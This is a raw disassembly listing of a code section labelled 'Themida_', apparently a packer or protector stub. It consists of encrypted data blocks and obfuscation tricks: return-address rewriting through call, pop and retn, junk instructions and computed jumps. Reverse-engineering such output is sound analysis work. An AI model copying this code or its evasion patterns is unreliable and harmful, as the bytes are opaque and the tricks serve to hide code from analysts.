dd 5F363211h, 70B4A164h, 0F0F21C3h, 8B5EF2B7h, 0B159DBDh
dd 0F3BF0F06h, 6A3C7F03h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 17042444h, 45000000h, 80B4C355h, 8166AAF9h
dd 81A688F2h, 0F8C7h, 2447C700h, 60000020h, 83F28B66h
dd 124EEBBDh, 840F0006h, 187h, 28C783FCh, 0CFDE8166h, 0EE97Ch
dd 5E30000h, 98529F45h, 523554C1h, 0A2596626h, 6A2E07C7h
dd 47C76469h, 61746104h, 6830F00h, 8B000000h, 0B243D95h
dd 0F3858B06h, 6A06124Eh, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1D042444h, 43000000h, 0BB62C353h, 0EC987754h
dd 28E3C667h, 81D18B66h, 99BE37E6h, 0C47891Bh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 71C35141h, 7012DFD6h
dd 0E989A6B1h, 11h, 22D51E7Eh, 0D05649D8h, 574E35A8h, 0B0C4B231h
dd 0F7858B5Ah, 6606124Eh, 89D023BEh, 6A0847h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 79A00FC3h
dd 0F618C359h, 11D958Bh, 0C783060Bh, 8E928h, 4A90000h
dd 3ED375DCh, 7C72643h, 6E6F632Eh, 89F0BF0Fh, 0B2905B5h
dd 447C706h, 676966h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 17h, 0BEC35343h, 895EA584h, 0B0151BDh, 0EF858B06h
dd 0F906124Eh, 890C4789h, 0B1F718Dh, 0EB858B06h, 6A06124Eh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h
dd 43000000h, 0B038C353h, 4789182Eh, 52006A08h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 0F8CB8454h
dd 0D625D687h, 31B58BEBh, 58060B16h, 6E9h, 0A64EC200h
dd 89CF9A58h, 0B2361BDh, 118D8D06h, 6A060B06h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
dd 9377C352h, 8E0E008h, 7E98D27h, 74000000h, 0D68543B3h
dd 10E9F58Bh, 6E000000h, 0DF2FF589h, 10595475h, 0C2C1FEDBh
dd 5010CF0Eh, 0BA665250h, 310F1591h, 4739ACBEh, 89585A14h
dd 6A240Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
dd 57470000h, 0E7B741C3h, 0F4160A18h, 5959D01h, 0B5FF060Bh
dd 60B0545h, 9D8B60FCh, 60B1585h, 92D8D89h, 6861060Bh
dd 0E6367F81h, 28F0Fh, 0D78B0000h, 7F240481h, 8B19C990h
dd 0B0835B5h, 830F5306h, 0
; ---------------------------------------------------------------------------
pop edx
push dword ptr [ebp+60B159Dh]
mov esi, [ebp+60B1685h]
call eax
push 0
push eax
call sub_5B171A
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B171A proc near ; CODE XREF: Themida_:005B1712p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 14h
inc eax
push eax
retn
sub_5B171A endp
; ---------------------------------------------------------------------------
dw 8B23h
; ---------------------------------------------------------------------------
setalc
mov eax, 0
xor edx, [ebp+60B016Dh]
or eax, eax
jz loc_5B1787
or [ebp+60B05B9h], edi
push dword ptr [ebp+60B281Dh]
push 0
push esi
call sub_5B1757
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B1757 proc near ; CODE XREF: Themida_:005B174Fp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Bh
inc esi
push esi
retn
sub_5B1757 endp
; ---------------------------------------------------------------------------
db 27h
dd 587A4F16h, 81A17A3Eh, 1F0FDCF2h, 31958914h, 0FF060B05h
dd 0B0AC595h, 458D8906h
; ---------------------------------------------------------------------------
daa
or eax, [esi]
loc_5B1787: ; CODE XREF: Themida_:005B173Aj
mov eax, eax
push 0
push edi
call sub_5B1794
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B1794 proc near ; CODE XREF: Themida_:005B178Cp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ah
inc edi
push edi
retn
sub_5B1794 endp
; ---------------------------------------------------------------------------
mov ds:972BEBD2h, al
lodsd
retn 0D58Ah
; ---------------------------------------------------------------------------
xor [ebp+60B32A1h], edx
and edx, [ebp+60B1341h]
cmp dword ptr [ebp+60B05BDh], 0
jnz short loc_5B17CB
cmp dword ptr [ebp+60B29D1h], 0
jz short loc_5B17E4
loc_5B17CB: ; CODE XREF: Themida_:005B17C0j
push eax
push ebx
mov eax, eax
mov eax, 42Dh
mov [ebp+60B1299h], eax
lea ebx, [ebp+60DB381h]
call ebx
pop ebx
pop eax
loc_5B17E4: ; CODE XREF: Themida_:005B17C9j
cmp dword ptr [ebp+60B29D1h], 0
jz short loc_5B1804
push eax
push ebx
mov eax, 42Dh
mov [ebp+60B1299h], eax
lea ebx, [ebp+60DB022h]
call ebx
pop ebx
pop eax
loc_5B1804: ; CODE XREF: Themida_:005B17EBj
xor [ebp+60B2429h], edx
mov edx, [ebp+60B0C29h]
mov eax, eax
push 0
push edx
call sub_5B181D
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B181D proc near ; CODE XREF: Themida_:005B1815p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 15h
inc edx
push edx
retn
sub_5B181D endp
; ---------------------------------------------------------------------------
jecxz short loc_5B187A
mov esi, [ebp+60B0789h]
mov eax, eax
lea ecx, [ebp+612585Bh]
mov esi, [ebp+60B2A05h]
mov [ebp+60B174Dh], ecx
mov edx, [ebp+60B294Dh]
mov dword ptr [ebp+60B0119h], 5850h
push 0
push ebx
call sub_5B1864
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B1864 proc near ; CODE XREF: Themida_:005B185Cp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Bh
inc ebx
push ebx
retn
sub_5B1864 endp
; ---------------------------------------------------------------------------
dd 4D5F5564h
db 15h, 0E5h
; ---------------------------------------------------------------------------
loc_5B187A: ; CODE XREF: Themida_:005B182Dj
lodsd
sbb [edi], cl
mov eax, [esi]
; ---------------------------------------------------------------------------
db 0
dd 9D8B0000h, 60B2E81h, 100985C7h, 60Bh, 810F0000h, 4
dd 0BA45BE66h, 0ED9B5FFh, 800F060Bh, 0
; ---------------------------------------------------------------------------
call dword ptr [ebp+60B0AC5h]
push 0
push edx
call sub_5B18B9
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B18B9 proc near ; CODE XREF: Themida_:005B18B1p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 16h
inc edx
push edx
retn
sub_5B18B9 endp
; ---------------------------------------------------------------------------
db 0A5h, 0CEh, 36h
; ---------------------------------------------------------------------------
push esi
or bx, 1CCDh
pop esi
jmp loc_5B18EA
; ---------------------------------------------------------------------------
dd 35B4A45Bh, 9B1780B2h, 0D5F50F3Fh, 0FEFF3E57h
db 1Dh, 0EBh
; ---------------------------------------------------------------------------
loc_5B18EA: ; CODE XREF: Themida_:005B18D3j
pusha
xor eax, [ebp+60B00E1h]
or [ebp+60B1F89h], edx
popa
push 0
call dword ptr [ebp+60B32DDh]
mov eax, eax
jmp short loc_5B1911
; ---------------------------------------------------------------------------
dd 0F87EBE87h, 0B5BDB240h, 0F3413013h
db 77h
; ---------------------------------------------------------------------------
loc_5B1911: ; CODE XREF: Themida_:005B1902j
jmp short loc_5B1917
; ---------------------------------------------------------------------------
db 10h
db 11h, 87h, 72h
; ---------------------------------------------------------------------------
loc_5B1917: ; CODE XREF: Themida_:loc_5B1911j
jmp loc_5B1E7C
; ---------------------------------------------------------------------------
dd 0FE655CA6h, 28CB0611h, 469DACFFh, 0F16251A9h, 22310C14h
dd 6BB14C93h, 191E8F54h, 0C6CE3F24h, 6EBB548Fh, 0F17B8053h
dd 8645097Dh, 3D2F9EC5h, 4E89C4D0h, 80EE33D6h, 0DB41EFBDh
dd 14F8D5DEh, 0F3605FA5h, 59A10112h, 5EB2967Ah, 0ED7A2F8Ch
dd 9C486D32h, 0DA2F9E72h, 63B21BEFh, 88A2E256h, 0B683947Dh
dd 0A2F223ADh, 84907DABh, 2B7DAA49h, 0DCE33BEAh, 94D87014h
dd 97AAF9C3h, 0AFED228h, 0ADF25AA3h, 0E0C4F305h, 0FDDCE31Ch
dd 526A23F8h, 8BB61A7Eh, 117FC09h, 11A32D36h, 9482E99Dh
dd 0EA047EC3h, 573B1663h, 9482EE9Fh, 636238C3h, 7DD92CD9h
dd 0E381C2Bh, 418FFD2Ch, 3DB1C332h, 0C3948E49h, 0B74AE4DEh
dd 5Bh, 0F8D5DE51h, 1DAEDC14h, 2C66C394h, 0F0C26BA1h, 0DF83240h
dd 44C8F7h, 1213E6h, 52890000h, 0BFAF8F15h, 5168BB99h
dd 0C4B5A9EDh, 0F46A84B5h, 16FAD7DEh, 5632BAC4h, 0D9C3941Dh
dd 0BFC647E1h, 374F3E82h, 564C8408h, 616ECD57h, 0A909537Eh
dd 2077D670h, 0D025C211h, 0DE867EE5h, 0A617FBDAh, 95A4F75Fh
dd 589ED21h, 0A74C595Bh, 7410945Dh, 0FBC3941Dh, 57B0A387h
dd 196D8142h, 0AEC3941Dh, 0F01F92ADh, 0BA807FB1h, 0F80BF246h
dd 83774E54h, 62E76B4Fh, 0C9F80FFEh, 0F008851Fh, 32417249h
dd 9960h, 0FE0DF800h, 0ED1B7FC3h, 0FBDADE77h, 0CAA5CA71h
dd 784009EFh, 0D00E7AF2h, 0B981C394h, 0AB1BB8Fh, 0A08FB105h
dd 2C21CFFFh, 738937DDh, 6D2DF53h, 3C765E22h, 0AAFA2BB1h
dd 80987593h, 1CE0D928h, 0E716C438h, 0EC87A190h, 72C6F903h
dd 0ED97738Bh, 0B9F5F795h, 65DA0064h, 6F035AC1h, 704D2DBFh
dd 42429BA4h, 96AB9F49h, 0D0098302h, 0D93241C2h, 62h, 0FBDADE27h
dd 675EA617h, 2DC846F5h, 73B58FCCh, 17311524h, 0CD72FE33h
dd 41BC2008h, 49E48F5h, 25186089h, 0D7DEC63Eh, 0AFDE16FAh
dd 2EC3941Dh, 0B766EAE7h, 31EF536Eh, 7C84F6F7h, 0F01DA726h
dd 2D41ABAAh, 0C3941D59h, 0C03AD42Eh, 3240F029h, 0D00h
dd 156D9800h, 0B786112Eh, 0A2EFB3Eh, 0D3DE66DCh, 56A30AFEh
dd 2E6A977Bh, 162B769Fh, 700B91CDh, 0D3EE3BEAh, 0B229BB35h
dd 8D9774DBh, 0ADDA85B2h, 8D441FFAh, 8CE0EB89h, 85879262h
dd 52A8BD9Eh, 0DFEA3FEEh, 51D8804h, 0D8764A3Eh, 77802075h
dd 531F7981h, 59BD9746h, 0C9BD91F5h, 9D8DC03h, 19394DE1h
dd 0B48E3A61h, 0DA04B38Bh, 152A582Ch, 0C51F3A61h, 6ED623C8h
dd 0BD5A2E23h, 6B8F461Dh, 0D7A69A54h, 0CB0FF3CEh, 96E30CD7h
dd 940AB1BBh, 0E05B2055h, 25947CAAh, 0A711E5D0h, 103F36A5h
dd 771EE865h, 29CEDFD9h, 8672E1DCh, 2C363867h, 14F42h
dd 0EF4CDE00h, 0B81BD0A1h, 53373F6Bh, 943A61FFh, 0A9C3DEE1h
dd 734730F3h, 50BD6FD5h, 4EE67445h, 0C3941D3Ah, 39BB58Dh
dd 0F478E279h, 0BD9EFF85h, 95CA106Ah, 5DDD95D7h, 967A94B7h
dd 7CE7D227h, 0A14B8693h, 0A8EB9F17h, 2C723A60h, 0B650AA15h
dd 0A39EEB52h, 0A62761DFh, 95A4F322h, 0CA43ED21h, 0A5578CB9h
dd 2C35A584h, 0C08428BAh, 473A60A4h, 48758A73h, 936680C4h
dd 3Dh, 5F1EBD7Dh, 470E75F8h, 44758475h, 2A729CF0h, 8C20CA51h
dd 0C394A2A8h, 1FD7BB9Fh, 0C394A26Bh, 0E0B63769h, 0D25A809Bh
dd 0C394A2E6h, 13E27149h, 0A0h, 68C8DCC9h, 1CCA2E13h, 760D6F26h
dd 52140E4h, 0D2C3BD9Fh, 0C3078BC2h, 85512734h, 0D27C7FE5h
dd 0D0B90D75h, 0BC698AC7h, 0D11A856Bh, 3325BCBAh, 0B4FB6BDFh
dd 0BF3A6038h, 76836865h, 942A915Bh, 0ED990DBBh, 623A6093h
dd 6F48FF18h, 68AC7D2h, 0A740EEC2h, 4C9EA5F7h, 967A59A1h
dd 0FEA485B2h, 0FC149DE8h, 0DB149852h, 6C447109h, 63477A83h
dd 0E8E52E9Fh, 87CF002h, 9F3076B9h, 0D4858DBBh, 5900F4C5h
dd 0B9897D40h, 0ED286263h, 3C401697h, 7AAB3527h, 65F11F26h
dd 4E6750CAh, 0C43C271Bh, 754850BDh, 0A2B9C3DBh, 0F4FB34B8h
dd 764CBD85h, 0D7EA39E4h, 5F231266h, 9445CD7Bh, 40ADB683h
dd 0BEB61A37h, 0A9ED787Fh, 5B404D67h, 7E0734Eh, 0E973C7F2h
dd 72F76572h, 0CC2F8EFAh, 1E390146h, 0F71198D2h, 4D310016h
dd 2CD5D0D0h, 9875EEDBh, 9CEB28Fh, 12h, 4150BD93h, 0BB35DE08h
dd 1DC18529h, 7C46C394h, 0D4DE6CD2h, 57A009FDh, 0D127967Ah
dd 52AB12E6h, 0EE329B6Fh, 66BA63D7h, 0FC02EB5Fh, 798871C5h
dd 0FA0DFC40h, 56CF7BCFh, 0C681E689h, 4, 4BB53h, 0DE290000h
dd 2434875Bh, 426D685Ch, 34890000h, 4A156824h, 1C890000h
dd 0BABB5324h, 81387219h, 6E0629F3h, 1BEB815Eh, 896009C7h
dd 241C8BDEh, 4C481h, 0EC810000h, 4, 81242489h, 42404h
dd 575B0000h, 7B89F789h, 243C8B08h, 4C481h, 1C8B0000h
dd 0E7895724h, 4C781h, 0C7810000h, 4, 5C243C87h, 5E2434FFh
dd 4C481h, 6CE90000h, 0ADFFF921h, 120319D0h, 3432EF2Ch
dd 79C69D38h
; ---------------------------------------------------------------------------
loc_5B1E7C: ; CODE XREF: Themida_:loc_5B1917j
mov eax, 6125D43h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 0ECh, 0B6h, 0CEh
dd 34D5A824h, 7800311Eh, 5D311D2Fh, 6F047402h, 2415428h
dd 0BF0BBE5Ch, 699E2D1Fh, 0D811B14Fh, 0D8F55927h, 7E2F8B5Dh
dd 0CAEC1641h, 6C308B56h, 234FB513h, 0EF291150h, 263FF35Ah
dd 38F5C71Dh, 0D3DEF016h, 7C878E11h, 49E0C350h, 0DF852777h
dd 2C90DE7Dh, 13DAC92Bh, 0CD09FD30h, 4233364h, 0C556A46Bh
dd 8EA90C51h, 0F537EA66h, 0DA1BAC6Bh, 0CF4BF61Fh, 9384DF58h
dd 284F237h, 0D604EB54h, 0E900B531h, 557h, 8A6960B2h, 243F0A1Dh
dd 5281B8CBh, 8D566DB5h, 3E251860h, 67BD5087h, 156A9B58h
dd 0CADACB28h, 728760F3h, 0FD6F9C47h, 86431D69h, 0BD2392C5h
dd 14F8D5DEh, 0F3605FA5h, 26340112h, 2397A2F7h, 60C941EFh
dd 6958AF17h, 0F94DA1E5h, 26340510h, 7886AEB9h, 56AA1E23h
dd 8ED306A9h, 5406E6Ch, 6200444h, 7C435B02h, 0F9D42188h
dd 0E8E53F15h, 6964BE96h, 995A7780h, 362D186Ch, 0CF0CFD9h
dd 9579445Dh, 13E7DE24h, 0E46855AAh, 45AA3B79h, 53B71B36h
dd 0C7C6C27Fh, 0E224D6DEh, 0B70E204h, 3F99ED01h, 146EC394h
dd 0E607DC30h, 14DCA09Dh, 0C3943F75h, 12E6E7BDh, 324112FBh
dd 59D6h, 0D5DE3E00h, 0AEDC14F8h, 66C3941Dh, 0C26BA12Ch
dd 0EF3240F0h, 1, 0FAD7DE09h, 6150A716h, 575E4F9Dh, 3941CC7Ah
dd 445EB61Ah, 3DB1C349h, 0C3941D49h, 1D4F3BB3h, 0FAC0C394h
dd 6A67B01Dh, 2275D876h, 0F3477E82h, 4FB8BB9Fh, 0BC899A3Ah
dd 0F605F4C8h, 3F1377DBh, 33BDDC24h, 941DCFBBh, 0CC7A40C3h
dd 0B0043B41h, 3F83BEC9h, 8509484Eh, 1F5C0D4h, 7D119C14h
dd 0FC048183h, 1D8EFA72h, 0AC01C394h, 84756954h, 0A6A7417Ch
dd 17F06352h, 9A433702h, 4BCEB28Fh, 29D45C69h, 0F7931BD0h
dd 78C3941Dh, 665A2E02h, 0F2A756C8h, 0A3823240h, 6A000000h
dd 266EDADEh, 3675B2Fh, 8EC3CEBFh, 0D5D0CA3Ah, 0AE9D42Ch
dd 8CF86CFEh, 3C3941Dh, 1D21A5C9h, 5CA6C394h, 257FCE78h
dd 2A6BD01Ah, 0D3839ACDh, 5F45C8Ah, 0E914C6FDh, 0C1DBA291h
dd 45F850FEh, 83BA4E5Fh, 0AE324183h, 9Ch, 0C233BDB6h, 3E4A9AB7h
dd 0B1C3941Dh, 6AAE9F49h, 0F14816Bh, 1D24A0C4h, 57ABC394h
dd 0C24B8F73h, 0DD3185BCh, 0E00DDF33h, 0A3274F94h, 24C3941Dh
dd 3216FADEh, 0D0EF3914h, 0F223096Ch, 0E226AAA7h, 0BA636244h
dd 608D5F66h, 70543811h, 47C77DC7h, 113FEAE0h, 50BDAE56h
dd 98870B4Ah, 0B4B1EF2Bh, 59F7EB8Bh, 0F205A1F4h, 3B1F73C7h
dd 7B0FA731h, 0CCC39460h, 0C5F407F6h, 7E0F272Bh, 88C39460h
dd 4004A83Ah, 0C7C39460h, 5E221F66h, 0CEE8067Ah, 6E24C53Fh
dd 10D3241h, 0EB000000h, 0AFED3DEh, 977B56A3h, 13E7DE26h
dd 9F635AAAh, 1E707DB7h, 0FF24A1E3h, 18469DACh, 0F96DFF84h
dd 0BD9EFCFCh, 0D4850971h, 806DF6C3h, 64F65A77h, 0E3576AB9h
dd 5D29BDAFh, 0D23A60C0h, 0D4B63EE8h, 0ED3A60C0h, 0C4D136B7h
dd 68BD6A89h, 151E8F5Dh, 533A0E38h, 0D9870B46h, 93A5A817h
dd 0CB559CEFh, 0E50A9B1Dh, 8B7A590h, 40E451C3h, 3A60E204h
dd 88B78Bh, 3EB9578Ah, 35752BC2h, 148062Ch, 0BDEE0000h
dd 336EA11Eh, 6E982B61h, 27354E2Eh, 9EE1EE8Fh, 977B5FBDh
dd 73E0DD26h, 0C0B48192h, 0E7DBC57Ah, 5B2C58CCh, 5FA33A60h
dd 88DC79A0h, 599AEF5Eh, 6069B1D5h, 8617363Ah, 0F7E12E04h
dd 2A301408h, 7593AEFBh, 9F29239Dh, 60487317h, 608EF43Ah
dd 555E4746h, 0DF69FB78h, 60483357h, 3155D93Ah, 0B63A6048h
dd 3E8FF34Ch, 1175D9F8h, 45E405F7h, 35CD2C35h, 2B000000h
dd 0E5770C6Fh, 62E3E45Bh, 0A2465BE1h, 3FC4F084h, 57ABC394h
dd 3F0743E3h, 1B1DC394h, 29C7D48Ah, 391DE1DCh, 0BB9F17C5h
dd 8CC3943Fh, 9B56ADB6h, 0FE000000h, 687F1EBDh, 0C881D155h
dd 65FE9E1Eh, 0C22E7FF7h, 5BBFBD9Fh, 221F6491h, 0CDD7A5Eh
dd 0ED080ABh, 0A811F917h, 14F1625Fh, 0E2423603h, 3A6143DDh
dd 51251860h, 0DCA099E8h, 28626321h, 0BA3ECF15h, 0A12D1B05h
dd 42EC379Dh, 5083BECBh, 2F787606h, 0C12C3E12h, 836D9BB6h
dd 70DBB86Bh, 45C93144h, 0C2B68394h, 1A505D57h, 0E173F982h
dd 76CB394Dh, 9AB48E30h, 4F5746D0h, 9E488C70h, 673815D6h
dd 0C5B7564Eh, 8DCEEF53h, 5DED023Dh, 33DFA4A7h, 95E00DDFh
dd 52FCD0A4h, 0D6F6391h, 46BA95E3h, 0EED31094h, 261CBD85h
dd 0BB538852h, 0E741F930h, 62B796B0h, 0AC80BDC2h, 704D56B7h
dd 0B82CBE8Ch, 3A7978CCh, 79ED7F43h, 3A79780Dh, 0C68EB882h
dd 47DF8C1Ch, 0D7BB96E1h, 57261B66h, 0D38D7140h, 4ABAD4D1h
dd 5BAC5550h, 0F18F56Eh, 5FFC4E32h, 0D4241770h, 3551D571h
dd 0BA30D2CEh, 4BC26C40h, 9DB80C33h, 14618607h, 96D58ACh
dd 58CC5EEAh, 30D2CE2Ch, 5CB15FA3h, 358A7E4Bh, 8, 3DE8845Fh
dd 0CC32DCEBh, 9FDD4DEh, 967A57A0h, 12E6D127h, 9B6F52ABh
dd 63D7EE32h, 0EB5F66BAh, 71C5FC02h, 0FC407988h, 7BCFFA0Dh
dd 0E78957CFh, 4C781h, 0EF830000h, 243C8704h, 242C895Ch
dd 6F7168h, 24048900h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edi
mov eax, 5C7E1011h
push edi
mov edi, 7B4F36F2h
xor eax, edi
pop edi
xor eax, 2123788Fh
push 435Fh
mov [esp], esp
add dword ptr [esp], 4
pop edi
push esi
mov esi, eax
push esi
pop dword ptr [edi+8]
pop esi
push dword ptr [esp]
pop edi
add esp, 4
mov eax, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
jmp loc_543FDB
; ---------------------------------------------------------------------------
jmp short loc_5B249A
; ---------------------------------------------------------------------------
dw 0B8B3h
dd 6126345h, 0E0FFC503h, 67269113h, 2BD01486h, 3D5CF4FFh
dd 49D2A076h, 4A9C31EAh, 7698C97Eh, 3FEE7F8Ch, 16602B76h
dd 7B2F229h, 34B25440h
db 0BDh
; ---------------------------------------------------------------------------
loc_5B2499: ; CODE XREF: Themida_:005B24EBj
inc esp
loc_5B249A: ; CODE XREF: Themida_:005B2464j
and ah, [eax]
or ebx, [ebx+60h]
add eax, 2582BFC5h
aaa
pop edi
pop esp
das
mov edx, 0D71145C4h
lock mov dword ptr [ecx-75h], 0E468FDD5h
push ds
mov esp, 819AFF65h
jno short near ptr loc_5B24BD+4
loc_5B24BD: ; CODE XREF: Themida_:005B24BBj
rcl byte ptr [edx-2360A5FEh], cl
sub eax, 0E7B3C3Bh
jg short near ptr loc_5B253D+2
movsb
db 36h
add al, 52h
mov al, ds:151FDA5Ch
push ds
push 0FFFFFFEDh
jnp short near ptr loc_5B24E2+4
jnp short loc_5B2526
aas
idiv word ptr ds:68D635EAh
loc_5B24E2: ; CODE XREF: Themida_:005B24D6j
sbb dword ptr [ebp+edx-12h], 0A8F01F80h
movsb
jo short loc_5B2499
movsd
mov byte ptr [ebp+ecx*4-73h], 23h
adc al, gs:[esi]
push 0
push ebp
call sub_5B2501
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B2501 proc near ; CODE XREF: Themida_:005B24F9p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Dh
inc ebp
push ebp
retn
sub_5B2501 endp
; ---------------------------------------------------------------------------
db 2 dup(52h), 8Dh
dd 0BF5DFB82h, 80250FEFh, 0E4801DDFh, 4D8D8981h
db 17h, 0Bh
; ---------------------------------------------------------------------------
loc_5B2526: ; CODE XREF: Themida_:005B24D8j
push es
mov dword ptr [ebp+60B0119h], 6E6Ch
jnp loc_5B253C
xor ax, 7552h
loc_5B253C: ; CODE XREF: Themida_:005B2531j
push edi
loc_5B253D: ; CODE XREF: Themida_:005B24C8j
jmp loc_5B2549
; ---------------------------------------------------------------------------
mov ch, 92h
or eax, 0F7972591h
loc_5B2549: ; CODE XREF: Themida_:loc_5B253Dj
pop ebx
mov dword ptr [ebp+60B1009h], 0
push 0
push edi
call sub_5B255F
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B255F proc near ; CODE XREF: Themida_:005B2557p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 15h
inc edi
push edi
retn
sub_5B255F endp
; ---------------------------------------------------------------------------
db 0B3h
dd 91BA6612h, 0B5FFF987h, 60B2705h, 148A0Fh, 0FE90000h
dd 98000000h, 58CC8F89h, 0C694F390h, 6B4D2DC2h, 95FF5CCEh
dd 60B0AC5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 16h, 9FC35343h, 858B5271h, 60B2F5Dh, 95FF006Ah, 60B32DDh
dd 6BEBC08Bh, 8A3E68A4h, 876DFD6Bh, 0C0B275B5h, 9AAB8A7Eh
dd 0C1493D50h, 728E319Bh, 0BD19B224h, 5A324D2Ah, 25A9519h
dd 7C34D644h, 47D36C2Eh, 0B4E5E222h, 0C397D194h, 5A382B7Eh
dd 621C7517h, 34431400h, 7312C8CBh, 42C3FB48h, 0A22034BAh
dd 78917644h, 4A2930ABh, 0BF506CE5h, 4FAEB0B8h, 65B03582h
dd 4520CD69h, 6057E78Ch, 0EB602956h, 0C51A9E04h, 5BBE94Dh
dd 36400000h, 0DC2BC41Fh, 8A9976EDh, 3B43ACB7h, 0EA2EDF04h
dd 0A2C908EBh, 0D50E314Bh, 5DEE338h, 0B2A19CE8h, 0EE754055h
dd 23A7CF1Dh, 0A4C58678h, 0D5DE6FD5h, 5FA514F8h, 112F360h
dd 8C994034h, 91CCDB1h, 1D22A6CEh, 5DA5C394h, 67BD9579h
dd 0EB33E266h, 0AB1F3241h, 4B8F7357h, 9C67B09Dh, 941D7C08h
dd 0AB8FF3C3h, 0EB495F48h, 0E7DBAF92h, 61B75083h, 1D780CA0h
dd 1ECFC394h, 71553918h, 8755391Dh, 2559A58h, 618F9678h
dd 26AA97ECh, 876C793Bh, 139D4671h, 4B5179ACh, 4BE5D38Eh
dd 3084B1C2h, 94685130h, 1ECAD0C3h, 7C502419h, 0BDC5B418h
dd 0DED03286h, 983B3CFh, 65E504FCh, 0A3CC3241h, 28000000h
dd 0A4750BDh, 0A9A44286h, 92AFF45Ch, 0FC881C2Eh, 73C3941Dh
dd 0ADC12B0Fh, 0C3941DD9h, 8C7054AEh, 941D26A4h, 0FF5CEEC3h
dd 33DDFD07h, 1294B2A1h, 77FF0993h, 0C394DA13h, 354B7594h
dd 0B18A5291h, 0A049B35Dh, 89324197h, 0Ah, 21F5BC23h, 0CE4EAFA7h
dd 1EBD3A20h, 32E5BCAFh, 0AE9F4958h, 54E66A67h, 0E426A2CAh
dd 0A0C4C394h, 0C394E424h, 92E857ABh, 0B38E9974h, 39181ECFh
dd 0A6277D55h, 0D81B3641h, 0A634DA2Fh, 0A12E06E9h, 7E8A694Dh
dd 6D0C78ECh, 4983C394h, 946DA125h, 0F8DC26C3h, 0DADEE84Eh
dd 0A72B2A6Eh, 0A142D463h, 5EA10762h, 0FF05F07Ah, 7B2226C0h
dd 0C0A91D2Ch, 46379BBAh, 4AB80C31h, 5F395550h, 59A34845h
dd 710FD66h, 849746CAh, 544CC1B5h, 3741D359h, 9490CBBFh
dd 0EE665CC3h, 0C394909Ah, 5A77806Dh, 9CDDD966h, 77D7E8C7h
dd 40B667D9h, 39E43241h, 0AF32DCE3h, 88h, 0FBDADE49h, 0CCD8C517h
dd 0ABF657F1h, 0B23A4496h, 0C3941DD6h, 92AFF459h, 48B890BEh
dd 0BFC95352h, 1DCDB92Dh, 7842C394h, 941D9CE8h, 12F13C3h
dd 23C9F40Ch, 2296A3F2h, 3D0C1FEEh, 18DB7549h, 0E63F95EFh
dd 0AA13E7DBh, 64996D54h, 0A25BB13Ch, 8F3240F2h, 5Fh, 0FBDADE69h
dd 45708471h, 0AEF6A7ABh, 85164597h, 514227B2h, 2A937791h
dd 0AE1FE3DAh, 7AE76B6Ah, 3046AF3Eh, 6559BD01h, 0CF5F020h
dd 0EA2AC9F4h, 4D401EBDh, 0C5E49E94h, 0E6D3222Bh, 35B3D212h
dd 0E132C394h, 261A3941h, 0A29DEB52h, 0A72660DEh, 54512BEBh
dd 41188DBCh, 1A432h, 0DE400000h, 221D6BD3h, 0B2067A5Eh
dd 3F83BECBh, 9E078602h, 0F9A5BE93h, 82C66EA3h, 5C3941Dh
dd 1D27A3CBh, 52A8C394h, 25D01A7Eh, 0A910E4D3h, 0A4986C53h
dd 0BAC4A640h, 0A0A41C05h, 0E069D11Ah, 0F3D7BB9Ah, 5DB48155h
dd 67D4BD9Eh, 0B718F8B4h, 0B0826EDh, 0CF94337h, 2D20CEFBh
dd 0ED7FEDD8h, 4921734Eh, 9C54CD05h, 3A61BCE8h, 0AED1B7Fh
dd 0DF28889Dh, 0C63A1EE2h, 0A19CE914h, 21A38387h, 103A61BCh
dd 0CBDCC5C0h, 7F8865FEh, 0FA0FFE42h, 38A4465Ah, 82669C1Eh
dd 81C549ADh, 257FD9ADh, 1B3643A8h, 0DF0D3CD8h, 5B242C36h
dd 0C0000001h, 0BCC233BDh, 15DD3185h, 0C3941D71h, 2A9EA3F8h
dd 0F71169D6h, 9C4ED5A7h, 9EFF6908h, 8FCC6BDh, 9DEC54A1h
dd 19AB48ACh, 0D8AC9DECh, 310C15E4h, 6EDF094Dh, 96A42825h
dd 61B61E67h, 0B094E85Ch, 5762B796h, 0D3EA3AE3h, 0CA76BE6Fh
dd 0C5398DB4h, 5BAC1DE1h, 1796906Eh, 0A9B9D7Bh, 0B7A590E5h
dd 2EDC3E46h, 17997E4Fh, 9152FCD0h, 3505C667h, 4EE32Ch
